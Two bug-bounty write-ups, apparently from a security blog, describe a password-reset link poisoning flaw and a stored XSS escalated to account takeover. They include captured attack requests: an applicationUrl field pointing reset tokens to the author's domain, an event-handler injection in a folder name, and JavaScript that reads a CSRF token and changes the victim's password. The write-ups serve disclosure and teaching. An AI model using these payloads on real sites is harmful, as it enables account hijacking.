How I Earned $1000 from a Password Reset Vulnerability

Mohamed Zain — Mon, 17 Nov 2025 16:33:22 +0000

This is a minor but interesting vulnerability, Let me describe how it works in the password reset feature.
Password reset functionalities are among the most sensitive features in any web application. A small mistake in how the reset link is constructed can easily lead to account takeover vulnerabilities.
In this article, I will walk you through a real world vulnerability I found on involving a parameter called applicationUrl which allowed me to manipulate the password reset link and steal the reset token.
The backend accepted a parameter named applicationUrl which was supposed to define the base URL of the application.

The problem? the server trusted whatever value was given in this field.
This meant that I could inject any URL I wanted into the password reset link that gets emailed to the user.

When I submitted a password reset request, the following POST request was sent:

POST /server.php HTTP/1.1
Host: 1337.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
Origin: https://1337.com
Connection: close
Referer: https://1337/login.php
Cookie: /*cookie*/

D={"C":"Gpf_Rpc_Server","M":"run","requests":[{"C":"Gpf_Auth_Service","M":"requestNewPassword","fields":[["name","value"],["Id",""],["username","email@email.com"],["lost_pw_captcha","F3F3"],["applicationUrl","https://zayn1337.com/"]]}],"S":"dvkegseu3erupmvpkc6u3t7k7i"}

I changed only one field: applicationUrl = https://zayn1337.com , the server didn’t reject it.
When the victim receives the password reset email, the link inside is expected to look like this:
https://1337.com/reset?token=XYZ
But because the server used my injected URL, the link became:
https://zayn1337.com/?token=XYZ

The token is still generated by the real application.
But it is sent to my domain because I control the applicationUrl parameter.
Once the victim clicks the link, their browser sends the token directly to my server.

Why This Happens?

The backend should never trust any user input when constructing a security sensitive URL.
In this case:
The password reset link was dynamically built using client supplied data.
No validation or whitelisting was performed.
Developers likely intended applicationUrl for customization, but accidentally exposed it to attackers

This vulnerability proves that small mistakes can create big security risks. I hope this writeup helps others.

From Post to Pwned: How Stored Cross-Site Scripting (Stored XSS) Can Lead to Account Takeover

Mohamed Zain — Fri, 14 Nov 2025 05:18:20 +0000

This is a simple vulnerability, but I still want to write about it, hope it helps.

Let me describe the page that has the bug, the Library Files page.

On the Library Files page, users can create and name folders. The issue is that folder names are stored and rendered as raw HTML, which means an attacker can inject a script into a folder name, and it will execute in the browser of anyone who views the file listing.

However, there’s an additional detail:
If the payload is added only in the folder name, the XSS will not trigger immediately because folder names are not displayed in a way that executes HTML.

But if the attacker uploads a file inside that folder, the system displays the file as a card component, and during this rendering process, the malicious folder name’s HTML is executed, successfully triggering the XSS payload.

POST /libraryFileUpload HTTP/2
Host: www.1337.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Length: 1337
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers


------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="theFileSet[]"; filename="Personal.png"
Content-Type: image/png

png
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c
Content-Disposition: form-data; name="folder"

xss" onmouseover="alert('xss')" z="
------geckoformboundary6ec9465113e39ef56bf3be9b844e7e6c

In my case, the website filters out any payload that includes HTML tags such as <img>. Since the payload is already injected inside an existing <a> tag without any additional markup from my side, I used an event handler like onmouseover to trigger the XSS.

Bright lights here, dim bulbs there: there’s a feature that lets you reassign ownership of own file to another user in the same group. So an attacker can create a folder with the malicious name, then reassign that folder to a specific target. The payload is delivered straight into the victim’s library guaranteed delivery, no social engineering needed.

If you discover an XSS vulnerability, always try to escalate the severity. Most attackers only write proof of concept with alert(document.cookie), but if the website uses HttpOnly cookies, this won’t work. Instead, you should try performing real actions through the payload, such as changing the user’s email or password, adding a user to a team, or triggering any sensitive operation that the victim is authorized to perform.

I noticed that the password-change request did not require the current password, so I captured that request and embedded it directly into the JS payload. There was one issue, the request included a CSRFToken. However, after analyzing it, I found that the token was taken from the cookies, which makes it easy to access using JS, allowing the payload to bypass the CSRF protection.

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
    return '';
}


const csrfToken = getCookie('CSRFToken');


const data = new URLSearchParams({
    changingPassword: 'true',
    password: '****',
    password2: '****',
    CSRFToken: csrfToken,
   ''
});

fetch('https://www.1337.com/updateUserProfile', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
        'X-Requested-With': 'XMLHttpRequest'
    },
    body: data.toString(),
    credentials: 'include'
})
.then(response => response.text())
.then(result => console.log(result))
.catch(error => console.error('Error:', error));

Alhamdulillah, this is how I found an XSS vulnerability in a simple way and successfully completed the process.

Appreciate you reading all the way through. Catch you in the next article!

Forem: Mohamed Zain

How I Earned $1000 from a Password Reset Vulnerability

From Post to Pwned: How Stored Cross-Site Scripting (Stored XSS) Can Lead to Account Takeover